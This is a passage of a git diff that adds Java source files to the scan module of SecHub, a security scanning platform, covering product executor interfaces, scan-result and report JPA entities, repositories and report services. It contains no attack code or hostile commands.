+1,12 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +/** + * Implementations will execute web scan products + * + * @author Albert Tregnaghi + * + */ +public interface InfrastructureScanProductExecutor extends ProductExecutor { + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductExectionStoreService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductExectionStoreService.java new file mode 100644 index 0000000000..79789e2f88 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductExectionStoreService.java @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; + +/* FIXME Albert Tregnaghi, 2018-03-02: what about Transaction-Timeouts? Could happen on very long running operations and should be + * considered! Maybe a simple @Transaction+Required on caller methods would solve this! */ +public interface ProductExectionStoreService { + + /** + * Execute the registered products and store results + * + * @param context + * @throws SecHubExecutionException + */ + public void executeProductsAndStoreResults(SecHubExecutionContext context) throws SecHubExecutionException; +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductExecutor.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductExecutor.java new file mode 100644 index 0000000000..cdd473d1b6 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductExecutor.java @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.util.List; + +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutor; + +/** + * + * @author Albert Tregnaghi + * + */ +public interface ProductExecutor extends ProductIdentifiable, SecHubExecutor> { + + /** + * Execute within SecHub execution context. + *

    + * Why is there a list as an result here? Because product can be executed in different target situations + * we have a list of product results here (this is only interesting when sechub execution does one scan for + * multiple installation targets - e.g. when a scan configuration scans intranet and also an internet location + * we got two results. Normally this does not happen, but to handle even such strange situations the + * results are returned as a list) + * + * @param context + * @return a list of results, never null + * @throws SecHubExecutionException + * when any problems occuring + */ + public List execute(SecHubExecutionContext context) throws SecHubExecutionException; +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductIdentifiable.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductIdentifiable.java new file mode 100644 index 0000000000..dc62ec9ea4 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductIdentifiable.java @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +public interface ProductIdentifiable { + + /** + * Identifies the product which will be executed + * @return product identifier + */ + public ProductIdentifier getIdentifier(); +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductIdentifier.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductIdentifier.java new file mode 100644 index 0000000000..be2d70d821 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductIdentifier.java @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import com.daimler.sechub.sharedkernel.MustBeKeptStable; + +/** + * An enumeration with all currently known products identifiers. If one of the + * products is no longer supported the identifiers should be marked deprecated + * but no removed! Do also NOT rename those enums! + * + * @author Albert Tregnaghi + * + */ +@MustBeKeptStable("The enum is used as identifiers in database. Do NOT rename it or remove values. Mark older products as deprecated!") +public enum ProductIdentifier { + + /** + * Webscanner + */ + NETSPARKER, + + /** + * Report collector, replaced by {@link ProductIdentifier#SERECO} + */ + FARRADAY, + + /** + * Infrastructure scanner + */ + NESSUS, + + /** + * SERECO = Security report collector + */ + SERECO, + + /** + * Static code analysis + */ + CHECKMARX, + + ; + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResult.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResult.java new file mode 100644 index 0000000000..05351b5d9e --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResult.java @@ -0,0 +1,164 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import static javax.persistence.EnumType.*; + +import java.time.LocalDateTime; +import java.util.UUID; + +import javax.persistence.Column; +import javax.persistence.Entity; +import javax.persistence.Enumerated; +import javax.persistence.GeneratedValue; +import javax.persistence.Id; +import javax.persistence.Table; +import javax.persistence.Version; + +import org.hibernate.annotations.GenericGenerator; +import org.hibernate.annotations.Type; + +/** + * Represents a product result for a SecHub job UUID + * + * @author Albert Tregnaghi + * + */ +@Entity +@Table(name = ProductResult.TABLE_NAME) +public class ProductResult { + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "SCAN_PRODUCT_RESULT"; + + public static final String COLUMN_UUID = "UUID"; + public static final String COLUMN_SECHUB_JOB_UUID = "SECHUB_JOB_UUID"; + public static final String COLUMN_PRODUCT_IDENTIFIER = "PRODUCT_ID"; + + public static final String COLUMN_RESULT = "RESULT"; + + public static final String COLUMN_STARTED = "STARTED"; + public static final String COLUMN_ENDED = "ENDED"; + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = ProductResult.class.getSimpleName(); + + public static final String PROPERTY_SECHUB_JOB_UUID = "secHubJobUUID"; + public static final String PROPERTY_PRODUCT_IDENTIFIER = "productIdentifier"; + + @Id + @GeneratedValue(generator = "UUID") + @GenericGenerator(name = "UUID", strategy = "org.hibernate.id.UUIDGenerator") + @Column(name = COLUMN_UUID, updatable = false, nullable = false) + UUID uUID; + + public UUID getUUID() { + return uUID; + } + + /** + * The type of the product. Just to identify result content + */ + @Enumerated(STRING) + @Column(name = COLUMN_PRODUCT_IDENTIFIER, nullable = false) + private ProductIdentifier productIdentifier; + + @Type(type="text") // why not using @Lob, because hibernate/postgres issues. see https://stackoverflow.com/questions/25094410/hibernate-error-while-persisting-text-datatype?noredirect=1#comment39048566_25094410 + @Column(name = COLUMN_RESULT) + private String result; + + @Column(name = COLUMN_SECHUB_JOB_UUID, updatable = false, nullable = false) + UUID secHubJobUUID; + + @Version + @Column(name = "VERSION") + Integer version; + + @Column(name = COLUMN_STARTED) // remark: we setup hibernate to use UTC settings - see application.properties + LocalDateTime started; + + @Column(name = COLUMN_ENDED) // remark: we setup hibernate to use UTC settings - see application.properties + LocalDateTime ended; + + ProductResult() { + // jpa only + } + + /** + * Create the product result + * + * @param report + * @param productIdentifier + * @param result + * as string + */ + public ProductResult(UUID secHubJobUUID, ProductIdentifier productIdentifier, String result) { + if (secHubJobUUID == null) { + throw new IllegalArgumentException("SecHub JOB UUID may not be null!"); + } + if (productIdentifier == null) { + throw new IllegalArgumentException("Product identifier not be null!"); + } + this.secHubJobUUID = secHubJobUUID; + this.productIdentifier = productIdentifier; + this.result = result; + + } + + public ProductIdentifier getProductIdentifier() { + return productIdentifier; + } + + public UUID getSecHubJobUUID() { + return secHubJobUUID; + } + + public String getResult() { + return result; + } + + public void setStarted(LocalDateTime started) { + this.started = started; + } + + public LocalDateTime getStarted() { + return started; + } + + public void setEnded(LocalDateTime ended) { + this.ended = ended; + } + + public LocalDateTime getEnded() { + return ended; + } + + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((uUID == null) ? 0 : uUID.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + ProductResult other = (ProductResult) obj; + if (uUID == null) { + if (other.uUID != null) + return false; + } else if (!uUID.equals(other.uUID)) + return false; + return true; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultRepository.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultRepository.java new file mode 100644 index 0000000000..ed7377a1db --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultRepository.java @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.util.UUID; + +import org.springframework.data.jpa.repository.JpaRepository; + +public interface ProductResultRepository extends JpaRepository, ProductResultRepositoryCustom { + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryCustom.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryCustom.java new file mode 100644 index 0000000000..bfff78149d --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryCustom.java @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.util.List; +import java.util.UUID; + +public interface ProductResultRepositoryCustom { + + /** + * Returns a list of product results which having only allowed identifiers. The method will be very interesting when it comes to reentrants for partly failed + * products results - reuse existing etc. + * + * @param secHubJobUUID + * @param allowedIdentifiers + * @return list, never null + */ + List findProductResults(UUID secHubJobUUID, ProductIdentifier... allowedIdentifiers); +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryImpl.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryImpl.java new file mode 100644 index 0000000000..281cc0cb03 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultRepositoryImpl.java @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import static com.daimler.sechub.domain.scan.product.ProductResult.*; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.UUID; + +import javax.persistence.EntityManager; +import javax.persistence.PersistenceContext; +import javax.persistence.Query; + +public class ProductResultRepositoryImpl implements ProductResultRepositoryCustom { + /* @formatter:off */ + public static final String JPQL_STRING_SELECT_BY_SECHUB_JOB_UUID_AND_PRODUCT_IDS = + "select r from "+CLASS_NAME+" r"+ + " where r."+PROPERTY_SECHUB_JOB_UUID+" = :"+PROPERTY_SECHUB_JOB_UUID + + " and r."+PROPERTY_PRODUCT_IDENTIFIER+" in :"+PROPERTY_PRODUCT_IDENTIFIER; + /* @formatter:on */ + + @PersistenceContext + private EntityManager em; + + @SuppressWarnings("unchecked") + @Override + public List findProductResults(UUID secHubJobUUID, ProductIdentifier... allowedIdentifiers) { + if (secHubJobUUID == null) { + throw new IllegalArgumentException(); + } + if (allowedIdentifiers == null || allowedIdentifiers.length == 0) { + /* a shortcut - then no result is possible... */ + return new ArrayList<>(); + } + Query query = em.createQuery(JPQL_STRING_SELECT_BY_SECHUB_JOB_UUID_AND_PRODUCT_IDS); + query.setParameter(PROPERTY_SECHUB_JOB_UUID, secHubJobUUID); + query.setParameter(PROPERTY_PRODUCT_IDENTIFIER, Arrays.asList(allowedIdentifiers)); + + return query.getResultList(); + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultService.java new file mode 100644 index 0000000000..336e39898a --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ProductResultService.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.util.List; +import java.util.UUID; + +import javax.annotation.security.RolesAllowed; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.domain.Example; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.RoleConstants; + +@Service +public class ProductResultService { + + @Autowired + ProductResultRepository repository; + + @RolesAllowed(RoleConstants.ROLE_SUPERADMIN) + public List fetchAllResultsForJob(UUID sechubJobUUID) { + ProductResult result = new ProductResult(); + result.secHubJobUUID=sechubJobUUID; + + return repository.findAll(Example.of(result)); + } + + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ReportProductExecutionService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ReportProductExecutionService.java new file mode 100644 index 0000000000..48f972016e --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ReportProductExecutionService.java @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +/** + * Marker interface, necessary for avoiding mockito problem (mockito does also + * inherit abstract parts when directly using classes) + * + * @author Albert Tregnaghi + * + */ +public interface ReportProductExecutionService extends ProductExectionStoreService { + +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ReportProductExecutionServiceImpl.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ReportProductExecutionServiceImpl.java new file mode 100644 index 0000000000..f7e08b5930 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/ReportProductExecutionServiceImpl.java @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.util.List; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.scan.report.ScanReportProductExecutor; +import com.daimler.sechub.sharedkernel.UUIDTraceLogID; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; + +/** + * This service executes all registered {@link ScanReportProductExecutor} instances + * and stores those data + * + * @author Albert Tregnaghi + * + */ +@Service +public class ReportProductExecutionServiceImpl extends AbstractProductExecutionService + implements ReportProductExecutionService { + + @Autowired + public ReportProductExecutionServiceImpl(List reportProductExecutors) { + register(reportProductExecutors); + } + + public boolean isExecutionNecessary(SecHubExecutionContext context, UUIDTraceLogID traceLogID, + SecHubConfiguration configuration) { + /* + * TODO Albert Tregnaghi, 2018-02-15: here should be checked if this is a reentrant - and + * an result is already existing for the report - if exists, just return + * false... and we save time... + */ + return true; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutionService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutionService.java new file mode 100644 index 0000000000..3bcd8c6c29 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutionService.java @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +/** + * Marker interface, necessary for avoiding mockito problem (mockito does also + * inherit abstract parts when directly using classes) + * + * @author Albert Tregnaghi + * + */ +public interface WebScanProductExecutionService extends ProductExectionStoreService { + +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutionServiceImpl.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutionServiceImpl.java new file mode 100644 index 0000000000..0a63d31f92 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutionServiceImpl.java @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +import java.util.List; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.UUIDTraceLogID; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubWebScanConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; + +/** + * This service executes all registered {@link WebScanProductExecutor} instances + * and stores those data + * + * @author Albert Tregnaghi + * + */ +@Service +public class WebScanProductExecutionServiceImpl extends AbstractProductExecutionService + implements WebScanProductExecutionService { + + private static final Logger LOG = LoggerFactory.getLogger(WebScanProductExecutionServiceImpl.class); + + @Autowired + public WebScanProductExecutionServiceImpl(List webscanExecutors) { + register(webscanExecutors); + } + + public boolean isExecutionNecessary(SecHubExecutionContext context, UUIDTraceLogID traceLogID, + SecHubConfiguration configuration) { + Optional webScanOption = configuration.getWebScan(); + if (!webScanOption.isPresent()) { + LOG.debug("No webscan options found for {}", traceLogID); + return false; + } + LOG.debug("Web scan options found {}", traceLogID); + return true; + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutor.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutor.java new file mode 100644 index 0000000000..e591c3fe6b --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/product/WebScanProductExecutor.java @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.product; + +/** + * Implementations will execute web scan products + * + * @author Albert Tregnaghi + * + */ +public interface WebScanProductExecutor extends ProductExecutor { + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/CreateScanReportService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/CreateScanReportService.java new file mode 100644 index 0000000000..43679b2435 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/CreateScanReportService.java @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import static com.daimler.sechub.sharedkernel.UUIDTraceLogID.*; +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.time.LocalDateTime; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.scan.SecHubResult; +import com.daimler.sechub.domain.scan.SecHubResultService; +import com.daimler.sechub.domain.scan.product.ReportProductExecutionService; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionContext; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; +import com.daimler.sechub.sharedkernel.type.TrafficLight; + +@Service +public class CreateScanReportService { + + private static final Logger LOG = LoggerFactory.getLogger(CreateScanReportService.class); + + @Autowired + SecHubResultService secHubResultService; + + @Autowired + ReportProductExecutionService reportProductExecutionService; + + @Autowired + ScanReportTrafficLightCalculator trafficLightCalculator; + + @Autowired + ScanReportRepository reportRepository; + + /** + * Creates a report based on product results. There is no security check because its only called internally from system. + * + * @param context + * @return report, never null + * @throws ScanReportException + */ + public ScanReport createReport(SecHubExecutionContext context) throws ScanReportException { + notNull(context, "Context may not be null!"); + + UUID sechubJobUUID = context.getSechubJobUUID(); + if (sechubJobUUID == null) { + throw new ScanReportException("Cannot create a report for Job UUID:null"); + } + LOG.info("Creating report for {}", traceLogID(sechubJobUUID)); + /* create report - project id in configuration was set on job creation time and is always correct/valid and + * will differ between api parameter and config..!*/ + ScanReport report = new ScanReport(sechubJobUUID,context.getConfiguration().getProjectId()); + report.setStarted(LocalDateTime.now()); + + /* execute report products */ + try { + reportProductExecutionService.executeProductsAndStoreResults(context); + } catch (SecHubExecutionException e) { + throw new ScanReportException("Report product execution failed", e); + } + /* transform */ + SecHubResult secHubResult; + try { + secHubResult = secHubResultService.createResult(context); + report.setResult(secHubResult.toJSON()); + } catch (Exception e) { + throw new ScanReportException("Was not able to build sechub result", e); + } + + /* create and set the traffic light */ + TrafficLight trafficLight = trafficLightCalculator.calculateTrafficLight(secHubResult); + report.setTrafficLight(trafficLight); + + /* update time stamp*/ + report.setEnded(LocalDateTime.now()); + + /* persist */ + return reportRepository.save(report); + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/DownloadScanReportService.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/DownloadScanReportService.java new file mode 100644 index 0000000000..a780c86449 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/DownloadScanReportService.java @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.util.UUID; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.scan.ScanAssertService; +import com.daimler.sechub.domain.scan.SecHubResultService; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.error.NotFoundException; +import com.daimler.sechub.sharedkernel.logging.AuditLogService; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserDownloadsJobReport; + +@Service +public class DownloadScanReportService { + + @Autowired + ScanAssertService assertService; + + @Autowired + SecHubResultService secHubResultService; + + @Autowired + ScanReportRepository reportRepository; + + @Autowired + AuditLogService auditLogService; + + /** + * There must be a a security check because useable from outside + * @param projectId + * @param jobUUID + * @return + */ + @UseCaseUserDownloadsJobReport(@Step(number=3, name="Resolve scan report result")) + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + notNull(projectId, "projectId may not be null!"); + notNull(jobUUID, "job uuid may not be null!"); + + ScanReport report = reportRepository.findBySecHubJobUUID(jobUUID); + auditLogService.log("started download of report for job: {}",jobUUID); + + assertService.assertUserHasAccessToReport(report); + + if (report == null) { + throw new NotFoundException("Report not found or you have no access to report!"); + } + return new ScanReportResult(report); + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/JobScanReportInfo.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/JobScanReportInfo.java new file mode 100644 index 0000000000..63fe8df83e --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/JobScanReportInfo.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import java.util.ArrayList; +import java.util.List; +import java.util.UUID; + +/** + * Data object to retrive just info which jobs have been run by this project + * + * @author Albert Tregnaghi + * + */ +public class JobScanReportInfo { + + private String projectId; + + private UUID sechubJobUUID; + private List sechubJobList = new ArrayList<>(); + + public JobScanReportInfo(String projectId, UUID sechubJobUUID, List sechubJobList) { + this.projectId = projectId; + if (sechubJobList != null) { + this.sechubJobList.addAll(sechubJobList); + } + } + + public UUID getSechubJobUUID() { + return sechubJobUUID; + } + + public List getSechubJobList() { + return sechubJobList; + } + + public String getProjectId() { + return projectId; + } +} \ No newline at end of file diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReport.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReport.java new file mode 100644 index 0000000000..13bbf69e88 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReport.java @@ -0,0 +1,159 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import static javax.persistence.EnumType.*; + +import java.time.LocalDateTime; +import java.util.UUID; + +import javax.persistence.Column; +import javax.persistence.Entity; +import javax.persistence.Enumerated; +import javax.persistence.GeneratedValue; +import javax.persistence.Id; +import javax.persistence.Table; +import javax.persistence.Version; + +import org.hibernate.annotations.GenericGenerator; +import org.hibernate.annotations.Type; + +import com.daimler.sechub.sharedkernel.type.TrafficLight; + +@Entity +@Table(name = ScanReport.TABLE_NAME) +public class ScanReport { + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "SCAN_REPORT"; + + public static final String COLUMN_UUID = "UUID"; + public static final String COLUMN_SECHUB_JOB_UUID = "SECHUB_JOB_UUID"; + + public static final String COLUMN_RESULT = "RESULT"; + public static final String COLUMN_TRAFFIC_LIGHT = "TRAFFIC_LIGHT"; + public static final String COLUMN_PROJECT_ID = "PROJECT_ID"; + + public static final String COLUMN_STARTED = "STARTED"; + public static final String COLUMN_ENDED = "ENDED"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = ScanReport.class.getSimpleName(); + + @Id + @GeneratedValue(generator = "UUID") + @GenericGenerator(name = "UUID", strategy = "org.hibernate.id.UUIDGenerator") + @Column(name = COLUMN_UUID, updatable = false, nullable = false) + UUID uUID; + + @Column(name = COLUMN_SECHUB_JOB_UUID) + private UUID secHubJobUUID; // no referential integrity - only as information for report collecting + // necessary + + @Type(type = "text") // why not using @Lob, because hibernate/postgres issues. see + // https://stackoverflow.com/questions/25094410/hibernate-error-while-persisting-text-datatype?noredirect=1#comment39048566_25094410 + @Column(name = COLUMN_RESULT) + private String result; + + + @Enumerated(STRING) + @Column(name = COLUMN_TRAFFIC_LIGHT, nullable = true) + private TrafficLight trafficLight; + + @Column(name = COLUMN_PROJECT_ID, nullable = false) + private String projectId; + + @Column(name = COLUMN_STARTED) // remark: we setup hibernate to use UTC settings - see application.properties + LocalDateTime started; + + @Column(name = COLUMN_ENDED) // remark: we setup hibernate to use UTC settings - see application.properties + LocalDateTime ended; + + @Version + @Column(name = "VERSION") + Integer version; + + ScanReport() { + // JPA only + } + + public ScanReport(UUID secHubJobUUID, String projectId) { + this.secHubJobUUID = secHubJobUUID; + this.projectId = projectId; + } + + public UUID getSecHubJobUUID() { + return secHubJobUUID; + } + + public String getResult() { + return result; + } + + public String getProjectId() { + return projectId; + } + + public void setTrafficLight(TrafficLight trafficLight) { + this.trafficLight = trafficLight; + } + + public String getTrafficLightAsString() { + if (trafficLight == null) { + return null; + } + return trafficLight.name(); + } + + public UUID getUUID() { + return uUID; + } + + public void setResult(String result) { + this.result = result; + } + + public void setStarted(LocalDateTime started) { + this.started = started; + } + + public LocalDateTime getStarted() { + return started; + } + + public void setEnded(LocalDateTime ended) { + this.ended = ended; + } + + public LocalDateTime getEnded() { + return ended; + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((uUID == null) ? 0 : uUID.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + ScanReport other = (ScanReport) obj; + if (uUID == null) { + if (other.uUID != null) + return false; + } else if (!uUID.equals(other.uUID)) + return false; + return true; + } +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportException.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportException.java new file mode 100644 index 0000000000..91cf13ee85 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportException.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +public class ScanReportException extends Exception { + + private static final long serialVersionUID = 2830735712090000359L; + + public ScanReportException(String message) { + super(message); + } + + public ScanReportException(String message, Exception reason) { + super(message, reason); + } + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportProductExecutor.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportProductExecutor.java new file mode 100644 index 0000000000..e5cd75d595 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportProductExecutor.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import com.daimler.sechub.domain.scan.product.ProductExecutor; + +/** + * Special marker interface for report procut executors (for auto wiring + * necessary) + * + * @author Albert Tregnaghi + * + */ +public interface ScanReportProductExecutor extends ProductExecutor{ + +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportRepository.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportRepository.java new file mode 100644 index 0000000000..287892b308 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportRepository.java @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import java.util.UUID; + +import org.springframework.data.jpa.repository.JpaRepository; + +public interface ScanReportRepository extends JpaRepository { + + public ScanReport findBySecHubJobUUID(UUID secHubJobUUID); +} diff --git a/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportRestController.java b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportRestController.java new file mode 100644 index 0000000000..6128e38b76 --- /dev/null +++ b/sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/ScanReportRestController.java @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.report; + +import java.util.Map; +import java.util.UUID; + +import javax.annotation.security.RolesAllowed; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.ModelAndView; + +import com.daimler.sechub.domain.scan.HTMLScanResultReportModelBuilder; +import com.daimler.sechub.sharedkernel.APIConstants; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserDownloadsJobReport; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserStartsSynchronousScanByClient; + +/** + * The rest API for job scheduling. It shall be same obvious like + * https://developer.github.com/v3/issues/labels/ + * + * @author Albert Tregnaghi + * + */ +@RestController +@EnableAutoConfiguration 